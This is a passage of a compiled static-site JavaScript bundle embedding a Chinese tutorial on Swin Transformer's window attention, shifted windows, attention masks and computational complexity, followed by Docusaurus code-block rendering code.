tuple)\n\n q = q * self.scale\n attn = (q @ k.transpose(-2, -1))\n\n relative_position_bias = self.relative_position_bias_table[self.relative_position_index.view(-1)].view(self.window_size[0] * self.window_size[1], self.window_size[0] * self.window_size[1], -1) # Wh*Ww,Wh*Ww,nH\n relative_position_bias = relative_position_bias.permute(2, 0, 1).contiguous() # nH, Wh*Ww, Wh*Ww\n attn = attn + relative_position_bias.unsqueeze(0) # (1, num_heads, windowsize, windowsize)\n\n if mask is not None: # \u4e0b\u6587\u4f1a\u5206\u6790\u5230\n ...\n else:\n attn = self.softmax(attn)\n\n attn = self.attn_drop(attn)\n\n x = (attn @ v).transpose(1, 2).reshape(B_, N, C)\n x = self.proj(x)\n x = self.proj_drop(x)\n return x\n'})}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u9996\u5148\u8f93\u5165\u5f20\u91cf\u5f62\u72b6\u4e3a ",(0,r.jsx)(e.code,{children:"[numWindows*B, window_size * window_size, C]"})]}),"\n",(0,r.jsxs)(e.li,{children:["\u7136\u540e\u7ecf\u8fc7",(0,r.jsx)(e.code,{children:"self.qkv"}),"\u8fd9\u4e2a\u5168\u8fde\u63a5\u5c42\u540e\uff0c\u8fdb\u884c reshape\uff0c\u8c03\u6574\u8f74\u7684\u987a\u5e8f\uff0c\u5f97\u5230\u5f62\u72b6\u4e3a",(0,r.jsx)(e.code,{children:"[3, numWindows*B, num_heads, window_size*window_size, c//num_heads]"}),"\uff0c\u5e76\u5206\u914d\u7ed9",(0,r.jsx)(e.code,{children:"q,k,v"}),"\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u6839\u636e\u516c\u5f0f\uff0c\u6211\u4eec\u5bf9",(0,r.jsx)(e.code,{children:"q"}),"\u4e58\u4ee5\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"scale"}),"\u7f29\u653e\u7cfb\u6570\uff0c\u7136\u540e\u4e0e",(0,r.jsx)(e.code,{children:"k"}),"\uff08\u4e3a\u4e86\u6ee1\u8db3\u77e9\u9635\u4e58\u8981\u6c42\uff0c\u9700\u8981\u5c06\u6700\u540e\u4e24\u4e2a\u7ef4\u5ea6\u8c03\u6362\uff09\u8fdb\u884c\u76f8\u4e58\u3002\u5f97\u5230\u5f62\u72b6\u4e3a",(0,r.jsx)(e.code,{children:"[numWindows*B, num_heads, window_size*window_size, window_size*window_size]"}),"\u7684",(0,r.jsx)(e.code,{children:"attn"}),"\u5f20\u91cf"]}),"\n",(0,r.jsxs)(e.li,{children:["\u4e4b\u524d\u6211\u4eec\u9488\u5bf9\u4f4d\u7f6e\u7f16\u7801\u8bbe\u7f6e\u4e86\u4e2a\u5f62\u72b6\u4e3a",(0,r.jsx)(e.code,{children:"(2*window_size-1*2*window_size-1, numHeads)"}),"\u7684\u53ef\u5b66\u4e60\u53d8\u91cf\u3002\u6211\u4eec\u7528\u8ba1\u7b97\u5f97\u5230\u7684\u76f8\u5bf9\u7f16\u7801\u4f4d\u7f6e\u7d22\u5f15",(0,r.jsx)(e.code,{children:"self.relative_position_index.vew(-1)"}),"\u9009\u53d6\uff0c\u5f97\u5230\u5f62\u72b6\u4e3a",(0,r.jsx)(e.code,{children:"(window_size*window_size, window_size*window_size, numHeads)"}),"\u7684\u7f16\u7801\uff0c\u518dpermute(2,0,1)\u540e\u52a0\u5230",(0,r.jsx)(e.code,{children:"attn"}),"\u5f20\u91cf\u4e0a"]}),"\n",(0,r.jsxs)(e.li,{children:["\u6682\u4e0d\u8003\u8651 mask \u7684\u60c5\u51b5\uff0c\u5269\u4e0b\u5c31\u662f\u8ddf transformer \u4e00\u6837\u7684 softmax\uff0cdropout\uff0c\u4e0e",(0,r.jsx)(e.code,{children:"V"}),"\u77e9\u9635\u4e58\uff0c\u518d\u7ecf\u8fc7\u4e00\u5c42\u5168\u8fde\u63a5\u5c42\u548c dropout"]}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"shifted-window-attention",children:"Shifted Window Attention"}),"\n",(0,r.jsx)(e.p,{children:"\u524d\u9762\u7684 Window Attention \u662f\u5728\u6bcf\u4e2a\u7a97\u53e3\u4e0b\u8ba1\u7b97\u6ce8\u610f\u529b\u7684\uff0c\u4e3a\u4e86\u66f4\u597d\u7684\u548c\u5176\u4ed6 window \u8fdb\u884c\u4fe1\u606f\u4ea4\u4e92\uff0cSwin Transformer \u8fd8\u5f15\u5165\u4e86 shifted window \u64cd\u4f5c\u3002"}),"\n",(0,r.jsx)(e.img,{src:"./figures/Shifted_Window.png",alt:"Shifted_Window",style:{zoom:"67%"}}),"\n",(0,r.jsxs)(e.p,{children:["\u5de6\u8fb9\u662f\u6ca1\u6709\u91cd\u53e0\u7684 Window Attention\uff0c\u800c\u53f3\u8fb9\u5219\u662f\u5c06\u7a97\u53e3\u8fdb\u884c\u79fb\u4f4d\u7684 Shift Window Attention\u3002\u53ef\u4ee5\u770b\u5230\u79fb\u4f4d\u540e\u7684\u7a97\u53e3\u5305\u542b\u4e86\u539f\u672c\u76f8\u90bb\u7a97\u53e3\u7684\u5143\u7d20\u3002\u4f46\u8fd9\u4e5f\u5f15\u5165\u4e86\u4e00\u4e2a\u65b0\u95ee\u9898\uff0c\u5373 ",(0,r.jsx)(e.strong,{children:"window \u7684\u4e2a\u6570\u7ffb\u500d\u4e86"}),"\uff0c\u7531\u539f\u672c\u56db\u4e2a\u7a97\u53e3\u53d8\u6210\u4e86 9 \u4e2a\u7a97\u53e3\u3002\u5728\u5b9e\u9645\u4ee3\u7801\u91cc\uff0c\u6211\u4eec\u662f",(0,r.jsx)(e.strong,{children:"\u901a\u8fc7\u5bf9\u7279\u5f81\u56fe\u79fb\u4f4d\uff0c\u5e76\u7ed9 Attention \u8bbe\u7f6e mask \u6765\u95f4\u63a5\u5b9e\u73b0\u7684"}),"\u3002\u80fd\u5728",(0,r.jsx)(e.strong,{children:"\u4fdd\u6301\u539f\u6709\u7684 window \u4e2a\u6570\u4e0b"}),"\uff0c\u6700\u540e\u7684\u8ba1\u7b97\u7ed3\u679c\u7b49\u4ef7\u3002"]}),"\n",(0,r.jsx)(e.p,{align:"center",children:(0,r.jsx)(e.img,{src:"./figures/W-MSA.png",alt:"W-MSA",style:{zoom:"50%"}})}),"\n",(0,r.jsx)(e.h3,{id:"\u7279\u5f81\u56fe\u79fb\u4f4d\u64cd\u4f5c",children:"\u7279\u5f81\u56fe\u79fb\u4f4d\u64cd\u4f5c"}),"\n",(0,r.jsxs)(e.p,{children:["\u4ee3\u7801\u91cc\u5bf9\u7279\u5f81\u56fe\u79fb\u4f4d\u662f\u901a\u8fc7",(0,r.jsx)(e.code,{children:"torch.roll"}),"\u6765\u5b9e\u73b0\u7684\uff0c\u4e0b\u9762\u662f\u793a\u610f\u56fe"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/torch_roll.png",alt:"torch_roll",style:{zoom:"67%"}}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsxs)(e.p,{children:["\u5982\u679c\u9700\u8981",(0,r.jsx)(e.code,{children:"reverse cyclic shift"}),"\u7684\u8bdd\u53ea\u9700\u628a\u53c2\u6570",(0,r.jsx)(e.code,{children:"shifts"}),"\u8bbe\u7f6e\u4e3a\u5bf9\u5e94\u7684\u6b63\u6570\u503c\u3002"]}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"attention-mask",children:"Attention Mask"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u662f Swin Transformer \u7684\u7cbe\u534e\uff0c\u901a\u8fc7\u8bbe\u7f6e\u5408\u7406\u7684 mask\uff0c\u8ba9",(0,r.jsx)(e.code,{children:"Shifted Window Attention"}),"\u5728\u4e0e",(0,r.jsx)(e.code,{children:"Window Attention"}),"\u76f8\u540c\u7684\u7a97\u53e3\u4e2a\u6570\u4e0b\uff0c\u8fbe\u5230\u7b49\u4ef7\u7684\u8ba1\u7b97\u7ed3\u679c\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u9996\u5148\u6211\u4eec\u5bf9 Shift Window \u540e\u7684\u6bcf\u4e2a\u7a97\u53e3\u90fd\u7ed9\u4e0a index\uff0c\u5e76\u4e14\u505a\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"roll"}),"\u64cd\u4f5c\uff08window_size=2, shift_size=1\uff09"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/Shift_window_index.png",alt:"Shift window index",style:{zoom:"67%"}}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u5e0c\u671b\u5728\u8ba1\u7b97 Attention \u7684\u65f6\u5019\uff0c",(0,r.jsx)(e.strong,{children:"\u8ba9\u5177\u6709\u76f8\u540c index QK \u8fdb\u884c\u8ba1\u7b97\uff0c\u800c\u5ffd\u7565\u4e0d\u540c index QK \u8ba1\u7b97\u7ed3\u679c"}),"\u3002\u6700\u540e\u6b63\u786e\u7684\u7ed3\u679c\u5982\u4e0b\u56fe\u6240\u793a"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/Mask.png",alt:"Mask",style:{zoom:"50%"}}),"\n",(0,r.jsx)(e.p,{children:"\u800c\u8981\u60f3\u5728\u539f\u59cb\u56db\u4e2a\u7a97\u53e3\u4e0b\u5f97\u5230\u6b63\u786e\u7684\u7ed3\u679c\uff0c\u6211\u4eec\u5c31\u5fc5\u987b\u7ed9 Attention \u7684\u7ed3\u679c\u52a0\u5165\u4e00\u4e2a mask\uff08\u5982\u4e0a\u56fe\u6700\u53f3\u8fb9\u6240\u793a\uff09\u76f8\u5173\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"if self.shift_size > 0:\n # calculate attention mask for SW-MSA\n H, W = self.input_resolution\n img_mask = torch.zeros((1, H, W, 1)) # 1 H W 1\n h_slices = (slice(0, -self.window_size),\n slice(-self.window_size, -self.shift_size),\n slice(-self.shift_size, None))\n w_slices = (slice(0, -self.window_size),\n slice(-self.window_size, -self.shift_size),\n slice(-self.shift_size, None))\n cnt = 0\n for h in h_slices:\n for w in w_slices:\n img_mask[:, h, w, :] = cnt\n cnt += 1\n\n mask_windows = window_partition(img_mask, self.window_size) # nW, window_size, window_size, 1\n mask_windows = mask_windows.view(-1, self.window_size * self.window_size)\n attn_mask = mask_windows.unsqueeze(1) - mask_windows.unsqueeze(2)\n attn_mask = attn_mask.masked_fill(attn_mask != 0, float(-100.0)).masked_fill(attn_mask == 0, float(0.0))\nelse:\n\tattn_mask = None\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u4ee5\u4e0a\u56fe\u7684\u8bbe\u7f6e\uff0c\u6211\u4eec\u7528\u8fd9\u6bb5\u4ee3\u7801\u4f1a\u5f97\u5230\u8fd9\u6837\u7684\u4e00\u4e2a mask"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{children:"tensor([[[[[ 0., 0., 0., 0.],\n [ 0., 0., 0., 0.],\n [ 0., 0., 0., 0.],\n [ 0., 0., 0., 0.]]],\n\n\n [[[ 0., -100., 0., -100.],\n [-100., 0., -100., 0.],\n [ 0., -100., 0., -100.],\n [-100., 0., -100., 0.]]],\n\n\n [[[ 0., 0., -100., -100.],\n [ 0., 0., -100., -100.],\n [-100., -100., 0., 0.],\n [-100., -100., 0., 0.]]],\n\n\n [[[ 0., -100., -100., -100.],\n [-100., 0., -100., -100.],\n [-100., -100., 0., -100.],\n [-100., -100., -100., 0.]]]]])\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u4e4b\u524d\u7684 window attention \u6a21\u5757\u7684\u524d\u5411\u4ee3\u7801\u91cc\uff0c\u5305\u542b\u8fd9\u4e48\u4e00\u6bb5"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-python",children:"if mask is not None:\n nW = mask.shape[0] # \u4e00\u5f20\u56fe\u88ab\u5206\u4e3a\u591a\u5c11\u4e2awindows eg:[4,49,49]\n attn = attn.view(B_ // nW, nW, self.num_heads, N, N) + mask.unsqueeze(1).unsqueeze(0) # torch.Size([128, 4, 12, 49, 49]) torch.Size([1, 4, 1, 49, 49])\n attn = attn.view(-1, self.num_heads, N, N)\n attn = self.softmax(attn)\nelse:\n attn = self.softmax(attn)\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5c06 mask \u52a0\u5230 attention \u7684\u8ba1\u7b97\u7ed3\u679c\uff0c\u5e76\u8fdb\u884c softmax\u3002mask \u7684\u503c\u8bbe\u7f6e\u4e3a - 100\uff0csoftmax \u540e\u5c31\u4f1a\u5ffd\u7565\u6389\u5bf9\u5e94\u7684\u503c\u3002\u5173\u4e8eMask\uff0c\u6211\u4eec\u53d1\u73b0\u5728\u5b98\u65b9\u4ee3\u7801\u5e93\u4e2d\u7684issue38\u4e5f\u8fdb\u884c\u4e86\u8ba8\u8bba:--\x3e",(0,r.jsx)(e.a,{href:"https://github.com/microsoft/Swin-Transformer/issues/38#issuecomment-823806591",children:"The Question about the mask of window attention #38"})]}),"\n",(0,r.jsx)(e.h2,{id:"w-msa\u548cmsa\u7684\u590d\u6742\u5ea6\u5bf9\u6bd4",children:"W-MSA\u548cMSA\u7684\u590d\u6742\u5ea6\u5bf9\u6bd4"}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u539f\u8bba\u6587\u4e2d\uff0c\u4f5c\u8005\u63d0\u51fa\u7684\u57fa\u4e8e",(0,r.jsx)(e.strong,{children:"\u6ed1\u52a8\u7a97\u53e3\u64cd\u4f5c"}),"\u7684 ",(0,r.jsx)(e.code,{children:"W-MSA"})," \u80fd\u5927\u5e45\u5ea6\u51cf\u5c11\u8ba1\u7b97\u91cf\u3002\u90a3\u4e48\u4e24\u8005\u7684\u8ba1\u7b97\u91cf\u548c\u7b97\u6cd5\u590d\u6742\u5ea6\u5927\u6982\u662f\u5982\u4f55\u7684\u5462\uff0c\u8bba\u6587\u4e2d\u7ed9\u51fa\u4e86\u4e00\u4e0b\u4e24\u4e2a\u516c\u5f0f\u8fdb\u884c\u5bf9\u6bd4\u3002\n$$\n\\begin{aligned}\n&\\Omega(M S A)=4 h w C^{2}+2(h w)^{2} C \\\n&\\Omega(W-M S A)=4 h w C^{2}+2 M^{2} h w C\n\\end{aligned}\n$$"]}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"h"}),"\uff1afeature map\u7684\u9ad8\u5ea6"]}),"\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"w"}),"\uff1afeature map\u7684\u5bbd\u5ea6"]}),"\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"C"}),"\uff1afeature map\u7684\u901a\u9053\u6570\uff08\u4e5f\u53ef\u4ee5\u79f0\u4e3aembedding size\u7684\u5927\u5c0f\uff09"]}),"\n",(0,r.jsxs)(e.li,{children:[(0,r.jsx)(e.strong,{children:"M"}),"\uff1awindow_size\u7684\u5927\u5c0f"]}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"msa\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",children:"MSA\u6a21\u5757\u7684\u8ba1\u7b97\u91cf"}),"\n",(0,r.jsxs)(e.p,{children:["\u9996\u5148\u5bf9\u4e8e",(0,r.jsx)(e.code,{children:"feature map"}),"\u4e2d\u6bcf\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"token"}),"\uff08\u4e00\u5171\u6709 $hw$ \u4e2atoken\uff0c\u901a\u9053\u6570\u4e3aC\uff09\uff0c\u8bb0\u4f5c$X^{h w \\times C}$\uff0c\u9700\u8981\u901a\u8fc7\u4e09\u6b21\u7ebf\u6027\u53d8\u6362 $W_q,W_k,W_v$ \uff0c\u4ea7\u751f\u5bf9\u5e94\u7684",(0,r.jsx)(e.code,{children:"q,k,v"}),"\u5411\u91cf\uff0c\u8bb0\u4f5c $Q^{h w \\times C},K^{h w \\times C},V^{h w \\times C}$ \uff08\u901a\u9053\u6570\u4e3aC\uff09\u3002\n$$\nX^{h w \\times C} \\cdot W_{q}^{C \\times C}=Q^{h w \\times C} \\\nX^{h w \\times C} \\cdot W_{k}^{C \\times C}=K^{h w \\times C} \\\nX^{h w \\times C} \\cdot W_{v}^{C \\times C}=V^{h w \\times C} \\\n$$\n\u6839\u636e\u77e9\u9635\u8fd0\u7b97\u7684\u8ba1\u7b97\u91cf\u516c\u5f0f\u53ef\u4ee5\u5f97\u5230\u8fd0\u7b97\u91cf\u4e3a $3hwC \\times C$ \uff0c\u5373\u4e3a $3hwC^2$ \u3002\n$$\nQ^{h w \\times C} \\cdot K^T=A^{h w \\times hw} \\\n\\Lambda^{h w \\times h w}=Softmax(\\frac{A^{h w \\times hw}}{\\sqrt(d)}+B) \\\n\\Lambda^{h w \\times h w} \\cdot V^{h w \\times C}=Y^{h w \\times C}\n$$\n\u5ffd\u7565\u9664\u4ee5$\\sqrt d$ \u4ee5\u53casoftmax\u7684\u8ba1\u7b97\u91cf\uff0c\u6839\u636e\u6839\u636e\u77e9\u9635\u8fd0\u7b97\u7684\u8ba1\u7b97\u91cf\u516c\u5f0f\u53ef\u5f97 $hwC \\times hw + hw^2 \\times C$ \uff0c\u5373\u4e3a $2(hw^2)C$ \u3002\n$$\nY^{h w \\times C} \\cdot W_O^{C \\times C}=O^{h w \\times C}\n$$\n\u6700\u7ec8\u518d\u901a\u8fc7\u4e00\u4e2aLinear\u5c42\u8f93\u51fa\uff0c\u8ba1\u7b97\u91cf\u4e3a $hwC^2$ \u3002\u56e0\u6b64\u6574\u4f53\u7684\u8ba1\u7b97\u91cf\u4e3a $4 h w C^{2}+2(h w)^{2} C$\u200b \u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"w-msa\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",children:"W-MSA\u6a21\u5757\u7684\u8ba1\u7b97\u91cf"}),"\n",(0,r.jsxs)(e.p,{children:["\u5bf9\u4e8eW-MSA\u6a21\u5757\uff0c\u9996\u5148\u4f1a\u5c06",(0,r.jsx)(e.code,{children:"feature map"}),"\u6839\u636e",(0,r.jsx)(e.code,{children:"window_size"}),"\u5206\u6210 $\\frac{hw}{M^2}$ \u7684\u7a97\u53e3\uff0c\u6bcf\u4e2a\u7a97\u53e3\u7684\u5bbd\u9ad8\u5747\u4e3a$M$\uff0c\u7136\u540e\u5728\u6bcf\u4e2a\u7a97\u53e3\u8fdb\u884cMSA\u7684\u8fd0\u7b97\u3002\u56e0\u6b64\uff0c\u53ef\u4ee5\u5229\u7528\u4e0a\u9762MSA\u7684\u8ba1\u7b97\u91cf\u516c\u5f0f\uff0c\u5c06 $h=M\uff0cw=M$ \u5e26\u5165\uff0c\u53ef\u4ee5\u5f97\u5230\u4e00\u4e2a\u7a97\u53e3\u7684\u8ba1\u7b97\u91cf\u4e3a $4 M^2 C^{2}+2M^{4} C$ \u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u53c8\u56e0\u4e3a\u6709 $\\frac{hw}{M^2}$ \u4e2a\u7a97\u53e3\uff0c\u5219\uff1a\n$$\n\\frac{hw}{M^2} \\times\\left(4M^2 C^2+2M^{4} C\\right)=4 h w C^{2}+2 M^{2} h w C\n$$\n\u5047\u8bbe",(0,r.jsx)(e.code,{children:"feature map"}),"\u7684$h=w=112\uff0cM=7\uff0cC=128$\uff0c\u91c7\u7528W-MSA\u6a21\u5757\u4f1a\u6bd4MSA\u6a21\u5757\u8282\u7701\u7ea640124743680 FLOPs\uff1a\n$$\n2(h w)^{2} C-2 M^{2} h w C=2 \\times 112^{4} \\times 128-2 \\times 7^{2} \\times 112^{2} \\times 128=40124743680\n$$"]}),"\n",(0,r.jsx)(e.h2,{id:"\u6574\u4f53\u6d41\u7a0b\u56fe",children:"\u6574\u4f53\u6d41\u7a0b\u56fe"}),"\n",(0,r.jsx)(e.p,{align:"center",children:(0,r.jsx)(e.img,{src:"./figures/Swin-T.png",alt:"Swin-T",style:{zoom:"80%"}})}),"\n",(0,r.jsx)(e.p,{align:"center",children:(0,r.jsx)(e.img,{src:"./figures/Net.png",alt:"Network",style:{zoom:"50%"}})}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Hyper_parameters",src:s(91408).A+"",width:"1333",height:"425"})}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"\u53c2\u8003\u535a\u5ba2\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://zhuanlan.zhihu.com/p/367111046",children:"https://zhuanlan.zhihu.com/p/367111046"})}),"\n"]}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"\u8054\u7cfb\u65b9\u5f0f\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsxs)(e.p,{children:["\u4e2a\u4eba\u77e5\u4e4e\uff1a",(0,r.jsx)(e.a,{href:"https://www.zhihu.com/people/shenhao-63",children:"https://www.zhihu.com/people/shenhao-63"})]}),"\n"]}),"\n",(0,r.jsxs)(e.li,{children:["\n",(0,r.jsxs)(e.p,{children:["Github\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/shenhao-stu",children:"https://github.com/shenhao-stu"})]}),"\n"]}),"\n"]}),"\n"]})]})}function h(n={}){const{wrapper:e}={...(0,t.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(c,{...n})}):c(n)}},51966:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/code_Architecture-9400375c594d539e7e5d7d3ec94b0339.png"},60575:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Patch_Merging-f9dd3c999bf1b47910021367bb17c831.png"},81324:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Patch_Merging_dim-e64c0c3c4275d196b806bc5ab33584b7.png"},85883:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/coords-acbc3056889bd861c15f281cf4569a28.png"},91408:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Hyper_parameters-27b865308e89e1d457f13e8ba2a87ef7.png"},97896:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/relative_pos_code-5159ba85629df87d521cf32bac858668.png"}}]); \ No newline at end of file diff --git a/assets/js/1180.2c8059ad.js b/assets/js/1180.2c8059ad.js new file mode 100644 index 0000000..b7e98a4 --- /dev/null +++ b/assets/js/1180.2c8059ad.js @@ -0,0 +1 @@ +(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1180],{2697:(e,n,t)=>{"use strict";t.d(n,{A:()=>ze});var s=t(96540),a=t(28453),r=t(5260),i=t(92303),o=t(34164),c=t(95293),l=t(6342);function d(){const{prism:e}=(0,l.p)(),{colorMode:n}=(0,c.G)(),t=e.theme,s=e.darkTheme||t;return"dark"===n?s:t}var u=t(17559),m=t(18426),h=t.n(m),f=t(89532),p=t(74848);const x=/title=(?["'])(?.*?)\1/,g=/\{(?<range>[\d,-]+)\}/,j={js:{start:"\\/\\/",end:""},jsBlock:{start:"\\/\\*",end:"\\*\\/"},jsx:{start:"\\{\\s*\\/\\*",end:"\\*\\/\\s*\\}"},bash:{start:"#",end:""},html:{start:"\x3c!--",end:"--\x3e"}},b={...j,lua:{start:"--",end:""},wasm:{start:"\\;\\;",end:""},tex:{start:"%",end:""},vb:{start:"['\u2018\u2019]",end:""},vbnet:{start:"(?:_\\s*)?['\u2018\u2019]",end:""},rem:{start:"[Rr][Ee][Mm]\\b",end:""},f90:{start:"!",end:""},ml:{start:"\\(\\*",end:"\\*\\)"},cobol:{start:"\\*>",end:""}},v=Object.keys(j);function N(e,n){const t=e.map(e=>{const{start:t,end:s}=b[e];return`(?:${t}\\s*(${n.flatMap(e=>[e.line,e.block?.start,e.block?.end].filter(Boolean)).join("|")})\\s*${s})`}).join("|");return new RegExp(`^\\s*(?:${t})\\s*$`)}function A({showLineNumbers:e,metastring:n}){return"boolean"==typeof e?e?1:void 0:"number"==typeof e?e:function(e){const n=e?.split(" ").find(e=>e.startsWith("showLineNumbers"));if(n){if(n.startsWith("showLineNumbers=")){const e=n.replace("showLineNumbers=","");return parseInt(e,10)}return 1}}(n)}function y(e,n){const{language:t,magicComments:s}=n;if(void 0===t)return{lineClassNames:{},code:e};const a=function(e,n){switch(e){case"js":case"javascript":case"ts":case"typescript":return N(["js","jsBlock"],n);case"jsx":case"tsx":return N(["js","jsBlock","jsx"],n);case"html":return N(["js","jsBlock","html"],n);case"python":case"py":case"bash":return N(["bash"],n);case"markdown":case"md":return N(["html","jsx","bash"],n);case"tex":case"latex":case"matlab":return N(["tex"],n);case"lua":case"haskell":return N(["lua"],n);case"sql":return N(["lua","jsBlock"],n);case"wasm":return N(["wasm"],n);case"vb":case"vba":case"visual-basic":return N(["vb","rem"],n);case"vbnet":return N(["vbnet","rem"],n);case"batch":return N(["rem"],n);case"basic":return N(["rem","f90"],n);case"fsharp":return N(["js","ml"],n);case"ocaml":case"sml":return N(["ml"],n);case"fortran":return N(["f90"],n);case"cobol":return N(["cobol"],n);default:return N(v,n)}}(t,s),r=e.split(/\r?\n/),i=Object.fromEntries(s.map(e=>[e.className,{start:0,range:""}])),o=Object.fromEntries(s.filter(e=>e.line).map(({className:e,line:n})=>[n,e])),c=Object.fromEntries(s.filter(e=>e.block).map(({className:e,block:n})=>[n.start,e])),l=Object.fromEntries(s.filter(e=>e.block).map(({className:e,block:n})=>[n.end,e]));for(let u=0;u<r.length;){const e=r[u].match(a);if(!e){u+=1;continue}const n=e.slice(1).find(e=>void 0!==e);o[n]?i[o[n]].range+=`${u},`:c[n]?i[c[n]].start=u:l[n]&&(i[l[n]].range+=`${i[l[n]].start}-${u-1},`),r.splice(u,1)}const d={};return Object.entries(i).forEach(([e,{range:n}])=>{h()(n).forEach(n=>{d[n]??=[],d[n].push(e)})}),{code:r.join("\n"),lineClassNames:d}}function C(e,n){const t=e.replace(/\r?\n$/,"");return function(e,{metastring:n,magicComments:t}){if(n&&g.test(n)){const s=n.match(g).groups.range;if(0===t.length)throw new Error(`A highlight range has been given in code block's metastring (\`\`\` ${n}), but no magic comment config is available. Docusaurus applies the first magic comment entry's className for metastring ranges.`);const a=t[0].className,r=h()(s).filter(e=>e>0).map(e=>[e-1,[a]]);return{lineClassNames:Object.fromEntries(r),code:e}}return null}(t,{...n})??y(t,{...n})}function w(e){const n=function(e){return n=e.language??function(e){if(!e)return;const n=e.split(" ").find(e=>e.startsWith("language-"));return n?.replace(/language-/,"")}(e.className)??e.defaultLanguage,n?.toLowerCase()??"text";var n}({language:e.language,defaultLanguage:e.defaultLanguage,className:e.className}),{lineClassNames:t,code:s}=C(e.code,{metastring:e.metastring,magicComments:e.magicComments,language:n}),a=function({className:e,language:n}){return(0,o.A)(e,n&&!e?.includes(`language-${n}`)&&`language-${n}`)}({className:e.className,language:n}),r=(i=e.metastring,(i?.match(x)?.groups.title??"")||e.title);var i;const c=A({showLineNumbers:e.showLineNumbers,metastring:e.metastring});return{codeInput:e.code,code:s,className:a,language:n,title:r,lineNumbersStart:c,lineClassNames:t}}const k=(0,s.createContext)(null);function L({metadata:e,wordWrap:n,children:t}){const a=(0,s.useMemo)(()=>({metadata:e,wordWrap:n}),[e,n]);return(0,p.jsx)(k.Provider,{value:a,children:t})}function B(){const e=(0,s.useContext)(k);if(null===e)throw new f.dV("CodeBlockContextProvider");return e}const T="codeBlockContainer_Ckt0";function E({as:e,...n}){const t=function(e){const n={color:"--prism-color",backgroundColor:"--prism-background-color"},t={};return Object.entries(e.plain).forEach(([e,s])=>{const a=n[e];a&&"string"==typeof s&&(t[a]=s)}),t}(d());return(0,p.jsx)(e,{...n,style:t,className:(0,o.A)(n.className,T,u.G.common.codeBlock)})}const H="codeBlock_bY9V",_="codeBlockStandalone_MEMb",M="codeBlockLines_e6Vv",S="codeBlockLinesWithNumbering_o6Pm";function I({children:e,className:n}){return(0,p.jsx)(E,{as:"pre",tabIndex:0,className:(0,o.A)(_,"thin-scrollbar",n),children:(0,p.jsx)("code",{className:M,children:e})})}const U={attributes:!0,characterData:!0,childList:!0,subtree:!0};function z(e,n){const[t,a]=(0,s.useState)(),r=(0,s.useCallback)(()=>{a(e.current?.closest("[role=tabpanel][hidden]"))},[e,a]);(0,s.useEffect)(()=>{r()},[r]),function(e,n,t=U){const a=(0,f._q)(n),r=(0,f.Be)(t);(0,s.useEffect)(()=>{const n=new MutationObserver(a);return e&&n.observe(e,r),()=>n.disconnect()},[e,a,r])}(t,e=>{e.forEach(e=>{"attributes"===e.type&&"hidden"===e.attributeName&&(n(),r())})},{attributes:!0,characterData:!1,childList:!1,subtree:!1})}function R({children:e}){return e}var V=t(71765);function O({line:e,token:n,...t}){return(0,p.jsx)("span",{...t})}const P="codeLine_lJS_",$="codeLineNumber_Tfdd",D="codeLineContent_feaV";function W({line:e,classNames:n,showLineNumbers:t,getLineProps:s,getTokenProps:a}){const r=function(e){const n=1===e.length&&"\n"===e[0].content?e[0]:void 0;return n?[{...n,content:""}]:e}(e),i=s({line:r,className:(0,o.A)(n,t&&P)}),c=r.map((e,n)=>{const t=a({token:e});return(0,p.jsx)(O,{...t,line:r,token:e,children:t.children},n)});return(0,p.jsxs)("span",{...i,children:[t?(0,p.jsxs)(p.Fragment,{children:[(0,p.jsx)("span",{className:$}),(0,p.jsx)("span",{className:D,children:c})]}):c,(0,p.jsx)("br",{})]})}const 